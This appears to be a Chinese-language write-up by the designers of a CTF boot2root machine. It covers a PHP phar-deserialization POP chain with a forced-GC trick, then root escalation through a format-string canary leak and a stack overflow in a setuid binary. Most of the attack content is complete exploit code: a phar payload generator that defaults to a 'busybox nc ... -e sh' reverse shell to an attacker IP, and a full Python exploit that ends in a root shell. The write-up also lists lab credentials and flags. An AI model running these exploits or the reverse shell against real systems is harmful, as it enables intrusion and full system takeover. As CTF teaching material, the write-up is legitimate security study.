webshell部分由 流云 设计
提权部分由 玫幽倩 设计
用户
1 2 3
| welcome:sly@myq@666 root:sly@myq@666 (做题的时候不会出现以上所有凭证)
|
flag
1 2
| flag{user-1e34287df8a27d2bbfa5ff51abb3d2ff} flag{root-a5e1f6d2cd2448650c88a8985cfb6365}
|
webshell部分
灵感是这道题 [GFCTF 2021]文件查看器
感觉这个phar反序列化+强制gc需要修改尾部哈希的考点很巧妙,就稍微改了下
正常扫描就能看到.git泄露,是直接给源码来代码审计的
User.class.php 里拿到账密
1 2 3
| if ($this->username === 'admin' && $this->password === 'admin') { $_SESSION['user'] = $this->username; }
|

进入后继续代码审计
Task::submit()会保存用户提交的原文
1 2
| $id = bin2hex(random_bytes(16)); file_put_contents(QUARANTINE . '/' . $id . '.txt', $_POST['blob'] ?? '', LOCK_EX);
|
Task::repair() 会把内容 rawurldecode() 后写成归档文件
1
| file_put_contents($dst, rawurldecode((string) file_get_contents($src)), LOCK_EX);
|
目标路径为/var/labdata/archive/{id}.bin
Files::read()允许用户传入任意文件路径读取
1
| $contents = @file_get_contents($this->filename);
|
并且读取期间存在状态门:
1 2 3 4 5 6
| self::$inWorker = true; try { $contents = @file_get_contents($this->filename); } finally { self::$inWorker = false; }
|
这里状态门就是强迫你用强制GC的技巧的,原题是用抛出异常打断pop链,但实操时发现不太稳定,因此改用这个状态门
file_get_contents没法用data等伪协议
核心思路就是phar反序列化+强制GC
pop链不是重点,很容易找到
1 2 3 4 5 6 7 8
| User::__destruct() -> $this->password[0]->{$this->password[1]}($this->username) -> User::check($obj) -> echo $obj -> Myerror::__toString() -> $this->message->{$this->level} -> Files::__get('system') -> system($this->arg)
|
然后用phar://协议读取phar文件会自动将meta的内容进行反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| <?php class User { public $username; public $password; }
class Files { public $filename; public $arg; }
class Myerror { public $message; public $level; }
$cmd = 'id';
$u1 = new User(); $u2 = new User(); $m = new Myerror(); $f = new Files();
$u1->password = [$u2, 'check']; $u1->username = $m; $m->message = $f; $m->level = 'system'; $f->arg = $cmd;
$pharFile = 'exploit.phar';
$phar = new Phar($pharFile); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(unserialize($patchedSerialized)); $phar->addFromString('test.txt', 'ARCHIVE_OK'); $phar->setSignatureAlgorithm(Phar::SHA1); $phar->stopBuffering(); ?>
|
然后用强制GC技巧,修改i:1;N;为i:0;N;
从php5.3版本开始生成的phar文件必须包含签名,因此这里还要修改签名
最终生成paylaod的代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108
| <?php class User { public $username; public $password; }
class Files { public $filename; public $arg; }
class Myerror { public $message; public $level; }
function build_metadata($cmd) { $u1 = new User(); $u2 = new User(); $m = new Myerror(); $f = new Files();
$u1->password = [$u2, 'check']; $u1->username = $m;
$m->message = $f; $m->level = 'system';
$f->arg = $cmd;
return [$u1, null]; }
function patch_fast_destruct($serialized) { $patched = str_replace('i:1;N;', 'i:0;N;', $serialized, $count);
if ($count !== 1) { fwrite(STDERR, "fast-destruct patch failed\n"); fwrite(STDERR, $serialized . "\n"); exit(1); }
return $patched; }
function repack_signature($data) { $magic = 'GBMB'; $sigLen = 20 + 4 + 4;
if (strlen($data) < $sigLen || substr($data, -4) !== $magic) { fwrite(STDERR, "unexpected phar signature footer\n"); exit(1); }
$unsigned = substr($data, 0, -$sigLen); return $unsigned . sha1($unsigned, true) . pack('V', 2) . $magic; }
function build_phar($path, $meta) { @unlink($path);
$phar = new Phar($path); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($meta); $phar->addFromString('test.txt', 'ARCHIVE_OK'); $phar->setSignatureAlgorithm(Phar::SHA1); $phar->stopBuffering();
unset($phar); }
function patch_phar($path, $serialized, $patchedSerialized) { $raw = file_get_contents($path); if ($raw === false) { fwrite(STDERR, "read phar failed\n"); exit(1); }
$pos = strpos($raw, $serialized); if ($pos === false) { fwrite(STDERR, "serialized metadata not found\n"); exit(1); }
$patched = substr_replace($raw, $patchedSerialized, $pos, strlen($serialized)); file_put_contents($path, repack_signature($patched)); }
$cmd = $argv[1] ?? 'busybox nc 192.168.56.102 9001 -e sh';
$normal = __DIR__ . DIRECTORY_SEPARATOR . 'normal.phar'; $fast = __DIR__ . DIRECTORY_SEPARATOR . 'fast.phar';
$meta = build_metadata($cmd); $serialized = serialize($meta); $patchedSerialized = patch_fast_destruct($serialized);
build_phar($normal, $meta); build_phar($fast, $meta); patch_phar($fast, $serialized, $patchedSerialized);
file_put_contents($normal . '.rawurl.txt', rawurlencode(file_get_contents($normal))); file_put_contents($fast . '.rawurl.txt', rawurlencode(file_get_contents($fast)));
echo "normal: normal.phar / normal.phar.rawurl.txt\n"; echo "fast: fast.phar / fast.phar.rawurl.txt\n"; echo "cmd: {$cmd}\n";
|
得到的fast.phar.rawurl.txt进行submit然后repair
最后用phar://读取还原的文件
1
| phar:///var/labdata/archive/{id}.bin/test.txt
|
运行后成功反弹shell
提权部分
灵感是觉得pwn提权的靶机比较少所以想出一个,虽然在出的过程中群友出了几个,一下子pwn靶机又不少了(
本质就是利用suid的二进制程序提权而已,我们直接继续往下看题就好了
成功反弹shell之后我们对环境进行一个探查先
由于我和凌云分开来做的,ip可能有一些差别,但不影响思路

发现存在一个不正常的suid文件vaultd

明显是提权点,先wget提取出来
1 2 3 4 5 6
| 靶机: cd /opt python3 -m http.server 8888 &
攻击机: wget http://192.168.56.151:8888/vaultd
|

得到程序,进行查看
保护:

发现开了Full RELRO,且开了栈金丝雀和NX
不难想到或许是一道需要Bypass的题目,先进入IDA进行分析

打开IDA分析main函数,可以看到是一个菜单状的

banner中也放了一个菜单,除去4的exit,基本上是三个功能
一个个查看就好了

1中可以看到没有什么漏洞点,这边就只是一个读入名字的作用而已,不存在栈溢出
所以继续看2

2这边上来明显就有一个格式化字符串的漏洞了
所以我们可以利用格式化字符串漏洞%p %p %p %p这样子把栈上的数据全部打出来
这也是本题泄露Canary做到Bypass的技巧
我们完全可以一个个爆破来找,因为Canary栈金丝雀的设计特性,最低字节一定会是\x00
为了阻断一些字符串溢出设计的,不过我们也可以利用这个特性对此进行定位

一个个尝试即可确定%25$p可以泄露Canary的值
所以
1 2 3 4 5 6 7 8 9
| CANARY_IDX = 25
fmt = f"%{CANARY_IDX}$p".encode() sendline(proc, fmt)
recvuntil(proc, b"Ticket preview: ") leak_line = recvline(proc).strip()
canary = int(leak_line, 16)
|
继续看3

这边有两个输入点read
第一个是输入到stage全局变量

在.bss段里
而第二个就是一个很明显的栈溢出漏洞了

buf在[rbp-50h],Canary在[rbp-8h]
所以从我们输入到碰到Canary就是0x50-0x8=0x48
最后这边其实还藏了一个函数,IDA解析不出来,但是我们shift+f12看字符串就能看见/bin/sh,交叉索引即可找到这边

审计汇编,大概就是
1 2 3 4 5
| puts("[maintenance] win function reached!");
setresgid(0, 0, 0); setresuid(0, 0, 0); execve("/bin/sh", ["sh", "-p", NULL], NULL);
|
直接调用的syscall,专门设计的sh -p,防止主动降权
题目没开PIE,所以这边的地址是确定的0x004013CB,我们只要返回到这个地方就可以直接提权了其实
思路还是很明确的,直接这样子就好了,直接栈溢出覆盖返回地址就是了,很简单的一道pwn
我还专门留了第一个read,有可能ai会理解这题需要stage作为假栈做栈迁移,其实是做麻烦了
其实就是一个Bypass和栈溢出的简单题而已
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166
| #!/usr/bin/env python3 import os import sys import time import struct import select import subprocess
BIN = "/opt/vaultd"
CANARY_IDX = 25 OFFSET = 0x48
WIN = 0x4013cb RET = 0x40101a
def p64(x): return struct.pack("<Q", x)
def log(msg): print(f"[*] {msg}", flush=True)
def success(msg): print(f"[+] {msg}", flush=True)
def recvuntil(proc, marker, timeout=5): fd = proc.stdout.fileno() data = b"" end = time.time() + timeout
while marker not in data: remain = end - time.time() if remain <= 0: raise TimeoutError(f"recvuntil timeout, wanted: {marker!r}, got: {data!r}")
r, _, _ = select.select([fd], [], [], remain) if not r: continue
chunk = os.read(fd, 1) if not chunk: break
data += chunk
return data
def recvline(proc, timeout=5): fd = proc.stdout.fileno() data = b"" end = time.time() + timeout
while not data.endswith(b"\n"): remain = end - time.time() if remain <= 0: break
r, _, _ = select.select([fd], [], [], remain) if not r: continue
chunk = os.read(fd, 1) if not chunk: break
data += chunk
return data
def send(proc, data): os.write(proc.stdin.fileno(), data)
def sendline(proc, data): send(proc, data + b"\n")
def interactive(proc): print("[*] interactive mode", flush=True)
stdout_fd = proc.stdout.fileno() stdin_fd = sys.stdin.fileno()
while True: r, _, _ = select.select([stdout_fd, stdin_fd], [], [])
if stdout_fd in r: try: data = os.read(stdout_fd, 4096) except OSError: break
if not data: break
os.write(sys.stdout.fileno(), data)
if stdin_fd in r: try: data = os.read(stdin_fd, 4096) except OSError: break
if not data: break
send(proc, data)
def main(): log(f"win = {hex(WIN)}") log(f"ret = {hex(RET)}")
proc = subprocess.Popen( [BIN], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, bufsize=0 ) recvuntil(proc, b"> ")
sendline(proc, b"2")
recvuntil(proc, b"Describe your backup problem. It will be echoed into the ticket:\n")
fmt = f"%{CANARY_IDX}$p".encode() sendline(proc, fmt)
recvuntil(proc, b"Ticket preview: ") leak_line = recvline(proc).strip()
canary = int(leak_line, 16) success(f"canary = {hex(canary)}")
recvuntil(proc, b"> ")
sendline(proc, b"3")
recvuntil(proc, b"Paste restore recipe. Long recipes are cached in staging memory:\n")
sendline(proc, b"DUMMY")
recvuntil(proc, b"Recipe title:\n")
payload = ( b"A" * OFFSET + p64(canary) + p64(0xdeadbeefdeadbeef) + p64(RET) + p64(WIN) )
send(proc, payload)
interactive(proc)
if __name__ == "__main__": main()
|

opt目录没权限,可以去/home/welcome做
成功提权
提权部分考点:
1,格式化字符串漏洞
2,Canary绕过
3,栈溢出